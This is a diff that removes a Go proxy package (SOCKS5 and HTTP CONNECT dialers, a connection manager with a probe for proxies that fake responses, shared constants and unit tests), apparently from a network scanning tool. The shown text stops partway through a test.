-	// ErrMsgTLSHandshakeFailed TLS握手失败
-	ErrMsgTLSHandshakeFailed = "TLS握手失败"
-)
-
-// =============================================================================
-// 缓存键前缀常量 (从Manager.go迁移)
-// =============================================================================
-
-const (
-	// CacheKeySOCKS5 缓存键前缀 - SOCKS5代理缓存键格式
-	CacheKeySOCKS5 = "socks5_%s"
-	// CacheKeyHTTP HTTP代理缓存键格式
-	CacheKeyHTTP = "http_%s"
-)
-
-// =============================================================================
-// 格式化字符串常量 (从各文件迁移)
-// =============================================================================
-
-const (
-	// SOCKS5URLFormat SOCKS5 URL格式 - 基本格式
-	SOCKS5URLFormat = "socks5://%s"
-	// SOCKS5URLAuthFormat 带认证的SOCKS5 URL格式
-	SOCKS5URLAuthFormat = "socks5://%s:%s@%s"
-
-	// HTTPConnectRequestFormat HTTP CONNECT请求格式 - CONNECT请求行
-	HTTPConnectRequestFormat = "CONNECT %s HTTP/1.1\r\nHost: %s\r\n"
-	// HTTPAuthHeaderFormat 认证头格式
-	HTTPAuthHeaderFormat = "Proxy-Authorization: Basic %s\r\n"
-	// HTTPRequestEndFormat 请求结束标记
-	HTTPRequestEndFormat = "\r\n"
-)

common/proxy/detector.go

@@ -1,101 +0,0 @@
-package proxy
-
-import (
-	"sync/atomic"
-)
-
-var (
-	// proxyEnabled 标记是否启用了代理（全局状态）
-	proxyEnabled atomic.Bool
-
-	// socks5Standard 标记是否为标准的SOCKS5代理
-	socks5Standard atomic.Bool
-
-	// proxyInitialized 标记代理是否已初始化
-	proxyInitialized atomic.Bool
-
-	// proxyReliable 标记代理是否可靠（不存在全回显问题）
-	proxyReliable atomic.Bool
-
-	// proxyProbed 标记代理是否已经探测过（避免重复探测）
-	proxyProbed atomic.Bool
-
-	// currentProxyType 当前代理类型
-	currentProxyType atomic.Int32
-)
-
-// SetProxyEnabled 设置代理启用状态
-func SetProxyEnabled(enabled bool) {
-	proxyEnabled.Store(enabled)
-}
-
-// SetSOCKS5Standard 设置SOCKS5是否标准
-func SetSOCKS5Standard(standard bool) {
-	socks5Standard.Store(standard)
-}
-
-// SetProxyInitialized 设置代理初始化状态
-func SetProxyInitialized(initialized bool) {
-	proxyInitialized.Store(initialized)
-}
-
-// IsProxyEnabled 检查是否启用了代理
-func IsProxyEnabled() bool {
-	return proxyEnabled.Load()
-}
-
-// SetProxyReliable 设置代理可靠性状态
-func SetProxyReliable(reliable bool) {
-	proxyReliable.Store(reliable)
-}
-
-// IsProxyReliable 检查代理是否可靠（不存在全回显问题）
-func IsProxyReliable() bool {
-	return proxyReliable.Load()
-}
-
-// SetProxyProbed 设置代理已探测标志
-func SetProxyProbed(probed bool) {
-	proxyProbed.Store(probed)
-}
-
-// IsProxyProbed 检查代理是否已探测过
-func IsProxyProbed() bool {
-	return proxyProbed.Load()
-}
-
-// IsSOCKS5Proxy 检查当前代理是否为SOCKS5类型
-func IsSOCKS5Proxy() bool {
-	return proxyEnabled.Load() && ProxyType(currentProxyType.Load()) == ProxyTypeSOCKS5
-}
-
-// AutoConfigureProxy 自动配置代理相关行为
-// 根据代理类型和状态自动调整扫描策略
-func AutoConfigureProxy(config *ProxyConfig) {
-	if config == nil || config.Type == ProxyTypeNone {
-		SetProxyEnabled(false)
-		SetSOCKS5Standard(false)
-		SetProxyInitialized(false)
-		SetProxyReliable(true) // 无代理时默认可靠
-		return
-	}
-
-	// 启用代理标记
-	SetProxyEnabled(true)
-	currentProxyType.Store(int32(config.Type))
-
-	// SOCKS5代理默认假设非标准（后续由探测函数验证）
-	if config.Type == ProxyTypeSOCKS5 {
-		SetSOCKS5Standard(false)
-		// 只有未探测过时才设置默认值，避免覆盖探测结果
-		if !IsProxyProbed() {
-			SetProxyReliable(true) // 默认可靠，后续由 ProbeProxyBehavior 更新
-		}
-	}
-
-	// HTTP/HTTPS代理视为标准且可靠
-	if config.Type == ProxyTypeHTTP || config.Type == ProxyTypeHTTPS {
-		SetSOCKS5Standard(true)
-		SetProxyReliable(true)
-	}
-}

common/proxy/httpdialer.go

@@ -1,124 +0,0 @@
-package proxy
-
-import (
-	"bufio"
-	"context"
-	"encoding/base64"
-	"fmt"
-	"net"
-	"net/http"
-	"sync/atomic"
-	"time"
-)
-
-// httpDialer HTTP代理拨号器
-type httpDialer struct {
-	config   *ProxyConfig
-	stats    *ProxyStats
-	baseDial *net.Dialer
-}
-
-func (h *httpDialer) Dial(network, address string) (net.Conn, error) {
-	return h.DialContext(context.Background(), network, address)
-}
-
-func (h *httpDialer) DialContext(ctx context.Context, network, address string) (net.Conn, error) {
-	start := time.Now()
-	atomic.AddInt64(&h.stats.TotalConnections, 1)
-
-	// 连接到HTTP代理服务器
-	proxyConn, err := h.baseDial.DialContext(ctx, NetworkTCP, h.config.Address)
-	if err != nil {
-		atomic.AddInt64(&h.stats.FailedConnections, 1)
-		h.stats.mu.Lock()
-		h.stats.LastError = err.Error()
-		h.stats.mu.Unlock()
-		return nil, NewProxyError(ErrTypeConnection, ErrMsgHTTPConnFailed, ErrCodeHTTPConnFailed, err)
-	}
-
-	// 发送CONNECT请求
-	if err := h.sendConnectRequest(proxyConn, address); err != nil {
-		_ = proxyConn.Close() // 错误处理路径，Close错误可忽略
-		atomic.AddInt64(&h.stats.FailedConnections, 1)
-		h.stats.mu.Lock()
-		h.stats.LastError = err.Error()
-		h.stats.mu.Unlock()
-		return nil, err
-	}
-
-	duration := time.Since(start)
-	h.stats.mu.Lock()
-	h.stats.LastConnectTime = start
-	h.stats.mu.Unlock()
-	atomic.AddInt64(&h.stats.ActiveConnections, 1)
-	h.updateAverageConnectTime(duration)
-
-	return &trackedConn{
-		Conn:  proxyConn,
-		stats: h.stats,
-	}, nil
-}
-
-// sendConnectRequest 发送HTTP CONNECT请求
-func (h *httpDialer) sendConnectRequest(conn net.Conn, address string) error {
-	// 构建CONNECT请求
-	req := fmt.Sprintf(HTTPConnectRequestFormat, address, address)
-
-	// 添加认证头
-	if h.config.Username != "" {
-		auth := base64.StdEncoding.EncodeToString(
-			[]byte(h.config.Username + AuthSeparator + h.config.Password))
-		req += fmt.Sprintf(HTTPAuthHeaderFormat, auth)
-	}
-
-	req += HTTPRequestEndFormat
-
-	// 设置写超时
-	if err := conn.SetWriteDeadline(time.Now().Add(h.config.Timeout)); err != nil {
-		return NewProxyError(ErrTypeTimeout, ErrMsgHTTPSetWriteTimeout, ErrCodeHTTPSetWriteTimeout, err)
-	}
-
-	// 发送请求
-	if _, err := conn.Write([]byte(req)); err != nil {
-		return NewProxyError(ErrTypeConnection, ErrMsgHTTPSendConnectFail, ErrCodeHTTPSendConnectFail, err)
-	}
-
-	// 设置读超时
-	if err := conn.SetReadDeadline(time.Now().Add(h.config.Timeout)); err != nil {
-		return NewProxyError(ErrTypeTimeout, ErrMsgHTTPSetReadTimeout, ErrCodeHTTPSetReadTimeout, err)
-	}
-
-	// 读取响应
-	resp, err := http.ReadResponse(bufio.NewReader(conn), nil)
-	if err != nil {
-		return NewProxyError(ErrTypeProtocol, ErrMsgHTTPReadRespFailed, ErrCodeHTTPReadRespFailed, err)
-	}
-
-	// 检查响应状态
-	if resp.StatusCode != HTTPStatusOK {
-		// 只有在失败时才关闭响应体，避免影响成功的CONNECT隧道
-		_ = resp.Body.Close() // 错误处理路径，Close错误可忽略
-		return NewProxyError(ErrTypeAuth,
-			fmt.Sprintf(ErrMsgHTTPProxyAuthFailed, resp.StatusCode), ErrCodeHTTPProxyAuthFailed, nil)
-	}
-
-	// 对于成功的CONNECT隧道，不要关闭resp.Body
-	// 因为这会关闭底层TCP连接，导致隧道失效
-	// HTTP CONNECT协议要求在200响应后保持连接开放供数据传输
-
-	// 清除deadline
-	_ = conn.SetDeadline(time.Time{})
-
-	return nil
-}
-
-// updateAverageConnectTime 更新平均连接时间
-func (h *httpDialer) updateAverageConnectTime(duration time.Duration) {
-	h.stats.mu.Lock()
-	defer h.stats.mu.Unlock()
-	if h.stats.AverageConnectTime == 0 {
-		h.stats.AverageConnectTime = duration
-	} else {
-		h.stats.AverageConnectTime = (h.stats.AverageConnectTime + duration) / 2
-	}
-}

common/proxy/manager.go

@@ -1,448 +0,0 @@
-package proxy
-
-import (
-	"context"
-	"fmt"
-	"net"
-	"net/url"
-	"sync"
-	"sync/atomic"
-	"time"
-
-	"golang.org/x/net/proxy"
-)
-
-// manager 代理管理器实现
-type manager struct {
-	config *ProxyConfig
-	stats  *ProxyStats
-	mu     sync.RWMutex
-
-	// 连接池
-	dialerCache map[string]Dialer
-	cacheExpiry time.Time
-	cacheMu     sync.RWMutex
-}
-
-// NewProxyManager 创建新的代理管理器
-func NewProxyManager(config *ProxyConfig) ProxyManager {
-	if config == nil {
-		config = DefaultProxyConfig()
-	}
-
-	// 自动配置代理行为
-	AutoConfigureProxy(config)
-
-	m := &manager{
-		config: config,
-		stats: &ProxyStats{
-			ProxyType:    config.Type.String(),
-			ProxyAddress: config.Address,
-		},
-		dialerCache: make(map[string]Dialer),
-		cacheExpiry: time.Now().Add(DefaultCacheExpiry),
-	}
-
-	// 对 SOCKS5 代理进行行为探测，检测是否存在"全回显"问题
-	// 只探测一次，避免重复输出警告
-	if config.Type == ProxyTypeSOCKS5 && !IsProxyProbed() {
-		SetProxyProbed(true)
-		dialer, err := m.createSOCKS5Dialer()
-		if err == nil {
-			reliable := ProbeProxyBehavior(dialer, config.Timeout)
-			SetProxyReliable(reliable)
-		}
-	}
-
-	return m
-}
-
-// GetDialer 获取普通拨号器
-func (m *manager) GetDialer() (Dialer, error) {
-	m.mu.RLock()
-	config := m.config
-	m.mu.RUnlock()
-
-	switch config.Type {
-	case ProxyTypeNone:
-		return m.createDirectDialer(), nil
-	case ProxyTypeSOCKS5:
-		return m.createSOCKS5Dialer()
-	case ProxyTypeHTTP, ProxyTypeHTTPS:
-		return m.createHTTPDialer()
-	default:
-		return nil, NewProxyError(ErrTypeConfig, ErrMsgUnsupportedProxyType, ErrCodeUnsupportedProxyType, nil)
-	}
-}
-
-// GetTLSDialer 获取TLS拨号器
-func (m *manager) GetTLSDialer() (TLSDialer, error) {
-	dialer, err := m.GetDialer()
-	if err != nil {
-		return nil, err
-	}
-
-	return &tlsDialerWrapper{
-		dialer: dialer,
-		config: m.config,
-		stats:  m.stats,
-	}, nil
-}
-
-// UpdateConfig 更新配置
-func (m *manager) UpdateConfig(config *ProxyConfig) error {
-	if config == nil {
-		return NewProxyError(ErrTypeConfig, ErrMsgEmptyConfig, ErrCodeEmptyConfig, nil)
-	}
-
-	m.mu.Lock()
-	defer m.mu.Unlock()
-
-	m.config = config
-	m.stats.ProxyType = config.Type.String()
-	m.stats.ProxyAddress = config.Address
-
-	// 自动配置代理行为
-	AutoConfigureProxy(config)
-
-	// 清理缓存
-	m.cacheMu.Lock()
-	m.dialerCache = make(map[string]Dialer)
-	m.cacheExpiry = time.Now().Add(DefaultCacheExpiry)
-	m.cacheMu.Unlock()
-
-	return nil
-}
-
-// Close 关闭管理器
-func (m *manager) Close() error {
-	m.cacheMu.Lock()
-	defer m.cacheMu.Unlock()
-
-	m.dialerCache = make(map[string]Dialer)
-	return nil
-}
-
-// Stats 获取统计信息
-func (m *manager) Stats() *ProxyStats {
-	m.mu.RLock()
-	defer m.mu.RUnlock()
-
-	m.stats.mu.Lock()
-	defer m.stats.mu.Unlock()
-
-	return &ProxyStats{
-		TotalConnections:   atomic.LoadInt64(&m.stats.TotalConnections),
-		ActiveConnections:  atomic.LoadInt64(&m.stats.ActiveConnections),
-		FailedConnections:  atomic.LoadInt64(&m.stats.FailedConnections),
-		AverageConnectTime: m.stats.AverageConnectTime,
-		LastConnectTime:    m.stats.LastConnectTime,
-		LastError:          m.stats.LastError,
-		ProxyType:          m.stats.ProxyType,
-		ProxyAddress:       m.stats.ProxyAddress,
-	}
-}
-
-// createDirectDialer 创建直连拨号器
-func (m *manager) createDirectDialer() Dialer {
-	return &directDialer{
-		timeout:   m.config.Timeout,
-		localAddr: m.config.LocalAddr,
-		stats:     m.stats,
-	}
-}
-
-// createSOCKS5Dialer 创建SOCKS5拨号器
-func (m *manager) createSOCKS5Dialer() (Dialer, error) {
-	// 检查缓存
-	cacheKey := fmt.Sprintf(CacheKeySOCKS5, m.config.Address)
-	m.cacheMu.RLock()
-	if time.Now().Before(m.cacheExpiry) {
-		if cached, exists := m.dialerCache[cacheKey]; exists {
-			m.cacheMu.RUnlock()
-			return cached, nil
-		}
-	}
-	m.cacheMu.RUnlock()
-
-	// 解析代理地址
-	proxyURL := fmt.Sprintf(SOCKS5URLFormat, m.config.Address)
-	if m.config.Username != "" {
-		proxyURL = fmt.Sprintf(SOCKS5URLAuthFormat,
-			m.config.Username, m.config.Password, m.config.Address)
-	}
-
-	u, err := url.Parse(proxyURL)
-	if err != nil {
-		return nil, NewProxyError(ErrTypeConfig, ErrMsgSOCKS5ParseFailed, ErrCodeSOCKS5ParseFailed, err)
-	}
-
-	// 创建基础拨号器
-	baseDial := &net.Dialer{
-		Timeout:   m.config.Timeout,
-		KeepAlive: m.config.KeepAlive,
-	}
-
-	// 创建SOCKS5拨号器
-	var auth *proxy.Auth
-	if u.User != nil {
-		auth = &proxy.Auth{
-			User: u.User.Username(),
-		}
-		if password, hasPassword := u.User.Password(); hasPassword {
-			auth.Password = password
-		}
-	}
-
-	socksDialer, err := proxy.SOCKS5(NetworkTCP, u.Host, auth, baseDial)
-	if err != nil {
-		return nil, NewProxyError(ErrTypeConnection, ErrMsgSOCKS5CreateFailed, ErrCodeSOCKS5CreateFailed, err)
-	}
-
-	dialer := &socks5Dialer{
-		dialer: socksDialer,
-		config: m.config,
-		stats:  m.stats,
-	}
-
-	// 更新缓存
-	m.cacheMu.Lock()
-	m.dialerCache[cacheKey] = dialer
-	m.cacheExpiry = time.Now().Add(DefaultCacheExpiry)
-	m.cacheMu.Unlock()
-
-	return dialer, nil
-}
-
-// createHTTPDialer 创建HTTP代理拨号器
-func (m *manager) createHTTPDialer() (Dialer, error) {
-	// 检查缓存
-	cacheKey := fmt.Sprintf(CacheKeyHTTP, m.config.Address)
-	m.cacheMu.RLock()
-	if time.Now().Before(m.cacheExpiry) {
-		if cached, exists := m.dialerCache[cacheKey]; exists {
-			m.cacheMu.RUnlock()
-			return cached, nil
-		}
-	}
-	m.cacheMu.RUnlock()
-
-	dialer := &httpDialer{
-		config: m.config,
-		stats:  m.stats,
-		baseDial: &net.Dialer{
-			Timeout:   m.config.Timeout,
-			KeepAlive: m.config.KeepAlive,
-		},
-	}
-
-	// 更新缓存
-	m.cacheMu.Lock()
-	m.dialerCache[cacheKey] = dialer
-	m.cacheExpiry = time.Now().Add(DefaultCacheExpiry)
-	m.cacheMu.Unlock()
-
-	return dialer, nil
-}
-
-// directDialer 直连拨号器
-type directDialer struct {
-	timeout   time.Duration
-	localAddr string // 本地网卡IP地址
-	stats     *ProxyStats
-}
-
-func (d *directDialer) Dial(network, address string) (net.Conn, error) {
-	return d.DialContext(context.Background(), network, address)
-}
-
-func (d *directDialer) DialContext(ctx context.Context, network, address string) (net.Conn, error) {
-	start := time.Now()
-	atomic.AddInt64(&d.stats.TotalConnections, 1)
-
-	dialer := &net.Dialer{
-		Timeout: d.timeout,
-	}
-
-	// 如果指定了本地地址，绑定 LocalAddr
-	if d.localAddr != "" {
-		if ip := net.ParseIP(d.localAddr); ip != nil {
-			dialer.LocalAddr = &net.TCPAddr{IP: ip}
-		}
-	}
-
-	conn, err := dialer.DialContext(ctx, network, address)
-
-	duration := time.Since(start)
-
-	d.stats.mu.Lock()
-	d.stats.LastConnectTime = start
-	d.stats.mu.Unlock()
-
-	if err != nil {
-		atomic.AddInt64(&d.stats.FailedConnections, 1)
-		d.stats.mu.Lock()
-		d.stats.LastError = err.Error()
-		d.stats.mu.Unlock()
-		return nil, NewProxyError(ErrTypeConnection, ErrMsgDirectConnFailed, ErrCodeDirectConnFailed, err)
-	}
-
-	atomic.AddInt64(&d.stats.ActiveConnections, 1)
-	d.updateAverageConnectTime(duration)
-
-	return &trackedConn{
-		Conn:  conn,
-		stats: d.stats,
-	}, nil
-}
-
-// socks5Dialer SOCKS5拨号器
-type socks5Dialer struct {
-	dialer proxy.Dialer
-	config *ProxyConfig
-	stats  *ProxyStats
-}
-
-func (s *socks5Dialer) Dial(network, address string) (net.Conn, error) {
-	return s.DialContext(context.Background(), network, address)
-}
-
-func (s *socks5Dialer) DialContext(ctx context.Context, network, address string) (net.Conn, error) {
-	start := time.Now()
-	atomic.AddInt64(&s.stats.TotalConnections, 1)
-
-	// 创建一个带超时的上下文
-	dialCtx, cancel := context.WithTimeout(ctx, s.config.Timeout)
-	defer cancel()
-
-	// 使用goroutine处理拨号，以支持取消
-	connChan := make(chan struct {
-		conn net.Conn
-		err  error
-	}, 1)
-
-	go func() {
-		conn, err := s.dialer.Dial(network, address)
-		select {
-		case <-dialCtx.Done():
-			if conn != nil {
-				_ = conn.Close() // context取消路径，Close错误可忽略
-			}
-		case connChan <- struct {
-			conn net.Conn
-			err  error
-		}{conn, err}:
-		}
-	}()
-
-	select {
-	case <-dialCtx.Done():
-		atomic.AddInt64(&s.stats.FailedConnections, 1)
-		s.stats.mu.Lock()
-		s.stats.LastError = dialCtx.Err().Error()
-		s.stats.mu.Unlock()
-		return nil, NewProxyError(ErrTypeTimeout, ErrMsgSOCKS5ConnTimeout, ErrCodeSOCKS5ConnTimeout, dialCtx.Err())
-	case result := <-connChan:
-		duration := time.Since(start)
-
-		s.stats.mu.Lock()
-		s.stats.LastConnectTime = start
-		s.stats.mu.Unlock()
-
-		if result.err != nil {
-			atomic.AddInt64(&s.stats.FailedConnections, 1)
-			s.stats.mu.Lock()
-			s.stats.LastError = result.err.Error()
-			s.stats.mu.Unlock()
-			return nil, NewProxyError(ErrTypeConnection, ErrMsgSOCKS5ConnFailed, ErrCodeSOCKS5ConnFailed, result.err)
-		}
-
-		atomic.AddInt64(&s.stats.ActiveConnections, 1)
-		s.updateAverageConnectTime(duration)
-
-		return &trackedConn{
-			Conn:  result.conn,
-			stats: s.stats,
-		}, nil
-	}
-}
-
-// updateAverageConnectTime 更新平均连接时间
-func (d *directDialer) updateAverageConnectTime(duration time.Duration) {
-	d.stats.mu.Lock()
-	defer d.stats.mu.Unlock()
-	if d.stats.AverageConnectTime == 0 {
-		d.stats.AverageConnectTime = duration
-	} else {
-		d.stats.AverageConnectTime = (d.stats.AverageConnectTime + duration) / 2
-	}
-}
-
-func (s *socks5Dialer) updateAverageConnectTime(duration time.Duration) {
-	s.stats.mu.Lock()
-	defer s.stats.mu.Unlock()
-	if s.stats.AverageConnectTime == 0 {
-		s.stats.AverageConnectTime = duration
-	} else {
-		s.stats.AverageConnectTime = (s.stats.AverageConnectTime + duration) / 2
-	}
-}
-
-// ProbeProxyBehavior 探测代理是否存在"全回显"问题
-// 通过连接一个几乎肯定不可达的地址，并尝试发送数据来判断代理行为
-// 返回 true 表示代理可靠，false 表示代理存在全回显问题
-//
-// 判断标准：
-// - 连接失败 → 可靠（代理正确拒绝不可达目标）
-// - 写入失败 → 可靠（代理在数据传输时报告错误）
-// - 读取超时 → 可靠（代理转发了请求，目标没响应是正常的）
-// - 读取错误 → 可靠（代理正确报告了目标不可达）
-// - 收到数据 → 不可靠（代理伪造了响应）
-func ProbeProxyBehavior(dialer Dialer, timeout time.Duration) bool {
-	// 使用 RFC 5737 保留的测试 IP (TEST-NET-1) + 高端口
-	// 192.0.2.1 是文档专用地址，保证不会路由到真实主机
-	testAddr := "192.0.2.1:65533"
-
-	ctx, cancel := context.WithTimeout(context.Background(), timeout)
-	defer cancel()
-
-	conn, err := dialer.DialContext(ctx, "tcp", testAddr)
-	if err != nil {
-		// 连接失败 = 正常代理行为，代理可靠
-		return true
-	}
-	defer conn.Close()
-
-	// 连接"成功"，进一步验证：尝试发送数据检查是否真的可达
-	// 全回显代理会接受连接，但数据无法到达目标
-
-	// 设置短超时
-	_ = conn.SetWriteDeadline(time.Now().Add(100 * time.Millisecond))
-	_, writeErr := conn.Write([]byte("PROBE\r\n"))
-
-	if writeErr != nil {
-		// 写入失败 = 连接不可用，但这是预期的（目标不可达）
-		// 某些代理会在写入时才报告真实错误
-		return true
-	}
-
-	// 等待响应或错误
-	_ = conn.SetReadDeadline(time.Now().Add(300 * time.Millisecond))
-	buf := make([]byte, 64)
-	n, readErr := conn.Read(buf)
-
-	if readErr != nil {
-		// 读取超时或错误 = 目标不可达，代理行为正常
-		// 超时说明代理正确转发了请求，目标没有响应是正常的
-		// 其他错误（reset, refused等）说明代理正确报告了目标不可达
-		return true
-	}
-
-	// 收到数据 = 代理伪造了响应，不可靠
-	if n > 0 {
-		return false
-	}
-
-	// 无错误且无数据 = EOF，说明连接被正常关闭，代理行为正常
-	return true
-}

common/proxy/manager_test.go

@@ -1,561 +0,0 @@
-package proxy
-
-import (
-	"testing"
-	"time"
-)
-
-/*
-manager_test.go - 代理管理器测试
-
-测试目标：ProxyManager的配置管理、拨号器创建
-价值：管理器逻辑错误会导致：
-  - 配置更新丢失（用户无法切换代理）
-  - 缓存失效异常（性能问题）
-  - 并发访问错误（race condition）
-
-"管理器是状态的守护者。配置更新逻辑错了=用户切换代理失败。"
-*/
-
-// =============================================================================
-// NewProxyManager - 构造函数测试
-// =============================================================================
-
-func TestNewProxyManager_NilConfig(t *testing.T) {
-	// 测试nil配置应该返回默认配置
-	manager := NewProxyManager(nil)
-
-	if manager == nil {
-		t.Fatal("NewProxyManager(nil) should not return nil")
-	}
-
-	stats := manager.Stats()
-	if stats.ProxyType != ProxyTypeNone.String() {
-		t.Errorf("ProxyType = %q, want %q", stats.ProxyType, ProxyTypeNone.String())
-	}
-
-	t.Logf("✓ NewProxyManager(nil) 返回默认配置的管理器")
-}
-
-func TestNewProxyManager_CustomConfig(t *testing.T) {
-	config := &ProxyConfig{
-		Type:    ProxyTypeHTTP,
-		Address: "127.0.0.1:8080",
-		Timeout: 10 * time.Second,
-	}
-
-	manager := NewProxyManager(config)
-
-	if manager == nil {
-		t.Fatal("NewProxyManager should not return nil")
-	}
-
-	stats := manager.Stats()
-	if stats.ProxyType != ProxyTypeHTTP.String() {
-		t.Errorf("ProxyType = %q, want %q", stats.ProxyType, ProxyTypeHTTP.String())
-	}
-	if stats.ProxyAddress != "127.0.0.1:8080" {
-		t.Errorf("ProxyAddress = %q, want %q", stats.ProxyAddress, "127.0.0.1:8080")
-	}
-
-	t.Logf("✓ NewProxyManager 使用自定义配置")
-}
-
-// =============================================================================
-// UpdateConfig - 配置更新测试
-// =============================================================================
-
-func TestUpdateConfig_NilConfig(t *testing.T) {
-	manager := NewProxyManager(DefaultProxyConfig())
-
-	err := manager.UpdateConfig(nil)
-	if err == nil {
-		t.Error("UpdateConfig(nil) should return error")
-	}
-
-	// 验证错误类型
-	proxyErr, ok := err.(*ProxyError)
-	if !ok {
-		t.Errorf("error should be *ProxyError, got %T", err)
-	} else {
-		if proxyErr.Type != ErrTypeConfig {
-			t.Errorf("error Type = %q, want %q", proxyErr.Type, ErrTypeConfig)
-		}
-		if proxyErr.Code != ErrCodeEmptyConfig {
-			t.Errorf("error Code = %d, want %d", proxyErr.Code, ErrCodeEmptyConfig)
-		}
-	}
-
-	t.Logf("✓ UpdateConfig(nil) 返回正确的错误")
-}
-
-func TestUpdateConfig_Success(t *testing.T) {
-	manager := NewProxyManager(DefaultProxyConfig())
-
-	// 初始状态
-	stats := manager.Stats()
-	if stats.ProxyType != ProxyTypeNone.String() {
-		t.Errorf("初始ProxyType = %q, want %q", stats.ProxyType, ProxyTypeNone.String())
-	}
-
-	// 更新配置
-	newConfig := &ProxyConfig{
-		Type:    ProxyTypeSOCKS5,
-		Address: "127.0.0.1:1080",
-		Timeout: 15 * time.Second,
-	}
-
-	err := manager.UpdateConfig(newConfig)
-	if err != nil {
-		t.Fatalf("UpdateConfig failed: %v", err)
-	}
-
-	// 验证更新后的状态
-	stats = manager.Stats()
-	if stats.ProxyType != ProxyTypeSOCKS5.String() {
-		t.Errorf("更新后ProxyType = %q, want %q", stats.ProxyType, ProxyTypeSOCKS5.String())
-	}
-	if stats.ProxyAddress != "127.0.0.1:1080" {
-		t.Errorf("更新后ProxyAddress = %q, want %q", stats.ProxyAddress, "127.0.0.1:1080")
-	}
-
-	t.Logf("✓ UpdateConfig 成功更新配置")
-}
-
-func TestUpdateConfig_ClearCache(t *testing.T) {
-	config := &ProxyConfig{
-		Type:    ProxyTypeNone,
-		Timeout: 5 * time.Second,
-	}
-	manager := NewProxyManager(config)
-
-	// 获取拨号器以填充缓存
-	_, err := manager.GetDialer()
-	if err != nil {
-		t.Fatalf("GetDialer failed: %v", err)
-	}
-
-	// 更新配置应该清理缓存
-	newConfig := &ProxyConfig{
-		Type:    ProxyTypeNone,
-		Timeout: 10 * time.Second,
-	}
-
-	err = manager.UpdateConfig(newConfig)
-	if err != nil {
-		t.Fatalf("UpdateConfig failed: %v", err)
-	}
-
-	// 无法直接验证缓存清理，但确保没有panic
-	_, err = manager.GetDialer()
-	if err != nil {
-		t.Fatalf("GetDialer after UpdateConfig failed: %v", err)
-	}
-
-	t.Logf("✓ UpdateConfig 清理缓存成功")
-}
-
-// =============================================================================
-// GetDialer - 拨号器获取测试
-// =============================================================================
-
-func TestGetDialer_DirectConnection(t *testing.T) {
-	config := &ProxyConfig{
-		Type:    ProxyTypeNone,
-		Timeout: 5 * time.Second,
-	}
-	manager := NewProxyManager(config)
-
-	dialer, err := manager.GetDialer()
-	if err != nil {
-		t.Fatalf("GetDialer failed: %v", err)
-	}
-
-	if dialer == nil {
-		t.Fatal("GetDialer returned nil dialer")
-	}
-
-	t.Logf("✓ GetDialer 返回直连拨号器")
-}
-
-func TestGetDialer_UnsupportedType(t *testing.T) {
-	config := &ProxyConfig{
-		Type:    ProxyType(999), // 无效类型
-		Timeout: 5 * time.Second,
-	}
-	manager := NewProxyManager(config)
-
-	_, err := manager.GetDialer()
-	if err == nil {
-		t.Error("GetDialer with unsupported type should return error")
-	}
-
-	proxyErr, ok := err.(*ProxyError)
-	if !ok {
-		t.Errorf("error should be *ProxyError, got %T", err)
-	} else {
-		if proxyErr.Code != ErrCodeUnsupportedProxyType {
-			t.Errorf("error Code = %d, want %d", proxyErr.Code, ErrCodeUnsupportedProxyType)
-		}
-	}
-
-	t.Logf("✓ GetDialer 对不支持的类型返回错误")
-}
-
-func TestGetDialer_HTTP(t *testing.T) {
-	config := &ProxyConfig{
-		Type:    ProxyTypeHTTP,
-		Address: "127.0.0.1:8080",
-		Timeout: 5 * time.Second,
-	}
-	manager := NewProxyManager(config)
-
-	dialer, err := manager.GetDialer()
-	if err != nil {
-		t.Fatalf("GetDialer failed: %v", err)
-	}
-
-	if dialer == nil {
-		t.Fatal("GetDialer returned nil dialer")
-	}
-
-	t.Logf("✓ GetDialer 返回HTTP代理拨号器")
-}
-
-func TestGetDialer_HTTPS(t *testing.T) {
-	config := &ProxyConfig{
-		Type:    ProxyTypeHTTPS,
-		Address: "127.0.0.1:8443",
-		Timeout: 5 * time.Second,
-	}
-	manager := NewProxyManager(config)
-
-	dialer, err := manager.GetDialer()
-	if err != nil {
-		t.Fatalf("GetDialer failed: %v", err)
-	}
-
-	if dialer == nil {
-		t.Fatal("GetDialer returned nil dialer")
-	}
-
-	t.Logf("✓ GetDialer 返回HTTPS代理拨号器")
-}
-
-// =============================================================================
-// GetTLSDialer - TLS拨号器获取测试
-// =============================================================================
-
-func TestGetTLSDialer_Success(t *testing.T) {
-	config := &ProxyConfig{
-		Type:    ProxyTypeNone,
-		Timeout: 5 * time.Second,
-	}
-	manager := NewProxyManager(config)
-
-	tlsDialer, err := manager.GetTLSDialer()
-	if err != nil {
-		t.Fatalf("GetTLSDialer failed: %v", err)
-	}
-
-	if tlsDialer == nil {
-		t.Fatal("GetTLSDialer returned nil")
-	}
-
-	t.Logf("✓ GetTLSDialer 成功返回TLS拨号器")
-}
-
-func TestGetTLSDialer_UnsupportedType(t *testing.T) {
-	config := &ProxyConfig{
-		Type:    ProxyType(999),
-		Timeout: 5 * time.Second,
-	}
-	manager := NewProxyManager(config)
-
-	_, err := manager.GetTLSDialer()
-	if err == nil {
-		t.Error("GetTLSDialer with unsupported type should return error")
-	}
-
-	t.Logf("✓ GetTLSDialer 对不支持的类型返回错误")
-}
-
-// =============================================================================
-// Close - 资源清理测试
-// =============================================================================
-
-func TestClose_Success(t *testing.T) {
-	manager := NewProxyManager(DefaultProxyConfig())
-
-	// 获取拨号器填充缓存
-	_, err := manager.GetDialer()
-	if err != nil {
-		t.Fatalf("GetDialer failed: %v", err)
-	}
-
-	// 关闭管理器
-	err = manager.Close()
-	if err != nil {
-		t.Errorf("Close failed: %v", err)
-	}
-
-	// 关闭后应该仍能获取新拨号器（会重建缓存）
-	_, err = manager.GetDialer()
-	if err != nil {
-		t.Errorf("GetDialer after Close failed: %v", err)
-	}
-
-	t.Logf("✓ Close 成功清理资源")
-}
-
-// =============================================================================
-// Stats - 统计信息测试
-// =============================================================================
-
-func TestStats_ReturnsCopy(t *testing.T) {
-	config := &ProxyConfig{
-		Type:    ProxyTypeHTTP,
-		Address: "127.0.0.1:8080",
-	}
-	manager := NewProxyManager(config)
-
-	stats1 := manager.Stats()
-	stats2 := manager.Stats()
-
-	// 修改stats1不应该影响stats2
-	stats1.ProxyType = "modified"
-	if stats2.ProxyType == "modified" {
-		t.Error("Stats应该返回副本，而不是引用")
-	}
-
-	t.Logf("✓ Stats 返回独立副本")
-}
-
-func TestStats_ReflectsConfig(t *testing.T) {
-	config := &ProxyConfig{
-		Type:    ProxyTypeSOCKS5,
-		Address: "127.0.0.1:1080",
-	}
-	manager := NewProxyManager(config)
-
-	stats := manager.Stats()
-
-	if stats.ProxyType != ProxyTypeSOCKS5.String() {
